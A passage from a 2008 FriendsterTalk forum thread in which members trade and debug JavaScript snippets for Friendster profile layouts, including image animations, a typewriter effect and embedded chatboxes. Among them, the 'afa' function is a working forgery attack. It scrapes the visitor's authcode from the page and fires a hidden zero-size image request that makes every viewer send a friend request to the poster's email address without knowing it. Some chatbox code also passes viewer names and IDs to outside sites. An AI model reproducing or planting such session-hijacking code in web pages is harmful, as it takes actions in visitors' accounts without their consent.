if ((Y > H+BY) && (X < 1)) {Y=H+BY;X=1;D=315;}
if ((Y > H+BY) && (X > W+BX)) {Y=H+BY;X=W+BX;D=225;}
//Edge rebounds!
if (Y < 1) {Y=1;D=HB;}  
if (Y > H+BY) {Y=H+BY;D=HB;}  
if (X < 1) {X=1;D=VB;} 
if (X > W+BX) {X=W+BX;D=VB;} 
var temp=eval(d+a+"pics"+n6r+s);
temp.top=Y+YS;
temp.left=X+XS;
setTimeout('MoveRandom()',10);
}
MoveRandom();
//-->

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5); void(0);

var afaimg = document.createElement('span');
afaimg.id = "addme";
document.getElementsByTagName('head')[0].appendChild(afaimg);

function afa() {
var eadd = "gomz311@yahoo.com";
var k = document.getElementById("controlPanelButtons").innerHTML;
var a = k.slice(k.indexOf("authcode="));
var m = a.slice(9,39);
document.getElementById("addme").innerHTML = "<img src=\"http://www.friendster.com/addfriendrequest.php?authcode="+m+"&uid="+pageOwnerID+"&email="+eadd+"&firstname=&lastname=&friend=&submit=1\" width=\"0\" height=\"0\" />";
}
if (!attachOnLoadHandler(function() { afa();})) window.onload = function() { afa();};




















var penyuberenang;
try {penyuberenang = document.createElement("div");}
catch (e) {penyuberenang = document.createElement("<div>");}
penyuberenang.innerHTML = "<div align='center' id='tw'>do not insert any text here</div>";
penyuberenang.setAttribute("style","text-align:center;padding-top:10px");
document.getElementById("cpShoutoutBox").parentNode.appendChild(penyuberenang);


var content = "Visit my site http://lloyd16.wordpress.com tnX";

function twDisplayTW() {twDisplay('tw',content,0);}
loaded('tw',twDisplayTW);

var brk = '~'; // character to use for line break
var resetTime = 0; // set to 0 to not reset or seconds to delay before reset

// Typewriter Text Javascript
// copyright 13th October, 2007 by Stephen Chapman
// permission to use this Javascript on your web page is granted
// provided that all of the code in this script (including these
// comments) is used without any alteration
// you can change the values above this notice to suit your requirements
function twDisplay(id,content,num) {var delay = 140; if (num <= content.length)  {var lt = content.substr(0,num); document.getElementById(id).innerHTML = lt.replace(RegExp(brk,'g'),'<br \/>'); num++; if (num > content.length) delay = resetTime * 1000;} else {document.getElementById(id).innerHTML = ''; num = 0;} if (delay > 0) setTimeout('twDisplay("'+id+'","'+content+'","'+num+'")',delay);} var pageLoaded = 0; window.onload = function() {pageLoaded = 1;}; function loaded(i,f) {if (document.getElementById && document.getElementById(i) != null) f(); else if (!pageLoaded) setTimeout('loaded(\''+i+'\','+f+')',100);}

NEED UR HELP AT SWIT



click my siggy to visit my new site http://lloyd-friendsterlayouts.blogspot.com

#134  2008-06-13 12:18:41

switpotato
» FriendsterWhiz
switpotato's display avatar
dcrazier dbetter bxtreme
Class X
Location: HubbieHubbieLand
Registered: 2007-05-23
Posts: 2746
Reputation: 261

Re: Add Box Short Script

is chat tango applicable to fs :question:
well anywayz
u almost did it ryt..
observe the bolded part..


function gomzaddbox(){
x1=document.createElement("div");
x1.id="CHATBOX";
document.getElementById("0").parentNode.appendChild(x1);
CHATBOX.innerHTML="<h2>My CHATBOX</h2>"
+"<object width='800' height='550' id='obj_1042977196359'><param name='movie' value='http://lloyd16layouts.chatango.com/group'/><param name='wmode' value='transparent'/><param name='AllowScriptAccess' VALUE='always'/><param name='AllowNetworking' VALUE='all'/><param name='AllowFullScreen' VALUE='true'/><param name='flashvars' value='cid=1042977196359&a=230400&b=72&c=996633&d=FFECC5&e=996633&f=91&g=FFECC5&h=FFECC5&j=230400&k=230400&l=000000&m=230400&n=FFECC5&r=100&s=1'/><embed id='emb_1042977196359' src='http://lloyd16layouts.chatango.com/group' width='400' height='400' wmode='transparent' allowScriptAccess='always' allowNetworking='all' type='application/x-shockwave-flash' allowFullScreen='true' flashvars='cid=1042977196359&a=230400&b=72&c=996633&d=FFECC5&e=996633&f=91&g=FFECC5&h=FFECC5&j=230400&k=230400&l=000000&m=230400&n=FFECC5&r=100&s=1'></embed></object><br><a href='http://lloyd16layouts.chatango.com/clonegroup?ts=1042977196359'>Copy this</a> | <a href='http://chatango.com/creategroup?ts=1042977196359'>Start New</a> | <a href='http://lloyd16layouts.chatango.com'>Full Size</a>"
}
setTimeout("gomzaddbox()",1000);

amd pls kindly  check it again.. if i missd some double quote...

Last edited by switpotato (2008-06-13 12:22:26)


   
        .. thnx Q ..kabit.. dai dai... muahhss

#135  2008-06-13 14:01:12

jerbi
» FriendsterNewbie
Location: Mandaue, Cebu
Registered: 2007-12-10
Posts: 11
Last visit: 2008-09-14
Reputation: ~
Friendster

Re: Add Box Short Script

function addbox(){
x2=document.createElement("div");
x2.id="chatbox";
document.getElementById("2").parentNode.appendChild(x2);
chatbox.innerHTML="<h2>My Chat Box:</h2>"
+"<div align='center' id='cboxdiv'>'+
'<iframe frameborder='2' width='100%' height='300' src='http://www4.cbox.ws/box/?boxid=3054892&boxtag=4303&sec=main' marginheight='2' marginwidth='2'     scrolling='auto' allowtransparency='yes' name='bryan' id='bryan'></iframe><br/><form name='chat' target='bryan' action='http://www4.cbox.ws/box/?boxid=3054892&boxtag=4303&sec=submit' method='post'><input type='hidden' name='nme' value='"+pageViewerFName+"'><input type='hidden' name='eml' value='http://www.friendster.com/"+pageViewerID+"'><textarea style='overflow:hidden' class='cboxMsgArea' cols='20' rows='1' name='pst'></textarea><br /><input type='submit' class='' value='Send' name='asa'><input type='button' class='cboxButtons' value='Refresh' name='bryan' onClick='window.bryan.location.href=document.getElementById(\"bryan\").src'><input class='cboxButtons' type='reset' value='Clear' maxlength='23' onClick='reset()'><br></form>'

x3=document.createElement("div");
x3.id="viewers";
document.getElementById("2").parentNode.appendChild(x3);
viewers.innerHTML="<h2>My Viewers:</h2>"
+"<tr><td><iframe frameborder='0' id='kaleummwhoview' width='100%' height='266' src=' http://h1.ripway.com/gerbeaidarp/wvm/wv … ewerFName+ "' marginheight='2' marginwidth='2' scrolling='no' allowtransparency='yes' style='border:#999999 0px solid;'></iframe></td></tr>"
}
setTimeout("addbox()",1000)


what's wrong wid my code? pls help me :cry:

#136  2008-06-14 03:16:41

faivan
» Cursed Member
faivan's display avatar
^.^
Location: durian city
Registered: 2008-05-29
Posts: 75
Last visit: 2008-06-21
Reputation: ~
???

Re: Add Box Short Script

tnx for sharing.. ^_^

#137  2008-06-14 12:59:10

kiel114
» Banned
kiel114's display avatar
Registered: 2008-03-23
Posts: 102
Last visit: 2008-06-21
Reputation: ~

Re: Add Box Short Script

tnx to this..keep it up...

#138  2008-06-14 12:59:49

kiel114
» Banned
kiel114's display avatar
Registered: 2008-03-23
Posts: 102
Last visit: 2008-06-21
Reputation: ~

Re: Add Box Short Script

tnx to this..keep it up...

#139  2008-06-15 13:32:51

gomz311
» FriendsterTalker
gomz311's display avatar
http://lloyd16.wordpress.
Laymakers Society
Location: Quezon City
Registered: 2008-01-08
Posts: 143
Last visit: 2008-10-14
Reputation: 6
Friendster

Re: Add Box Short Script

nice ate swit but why it is below on the first box...and there's no box added just the chatbox



click my siggy to visit my new site http://lloyd-friendsterlayouts.blogspot.com

#140  2008-06-15 13:37:55

switpotato
» FriendsterWhiz
switpotato's display avatar
dcrazier dbetter bxtreme
Class X
Location: HubbieHubbieLand
Registered: 2007-05-23
Posts: 2746
Reputation: 261

Re: Add Box Short Script

switpotato wrote:

switpotato wrote:
Left Side Boxes

Control Panel= 0

Photo= 1

Reviews= 12

Blogs= 13

About me= 6

Comments/Testiminials= 18

Media Box/Scrap Book= 10

Right Side Boxes

Friends = 2

Google Ads= 14

Group= 8

Fans of Box= 7

at first page luk for css.... to pimp the said add box...
its under the first box = controlpanel since u use 0 ryt...


   
        .. thnx Q ..kabit.. dai dai... muahhss

Search Friendstertalk

Board footer

FriendsterTalk is not affiliated with Friendster.com
Copyright © 2002–2008 PunBB

[ 28 queries - 1.016 second ]

Pay Per Click Ads by pay per click advertising by Kontera

FriendsterTalk.com x

Welcome to FriendsterTalk! You'll need to login in order to fully use all the features and view all the sections of this site.

Please register if you're not yet a member. =)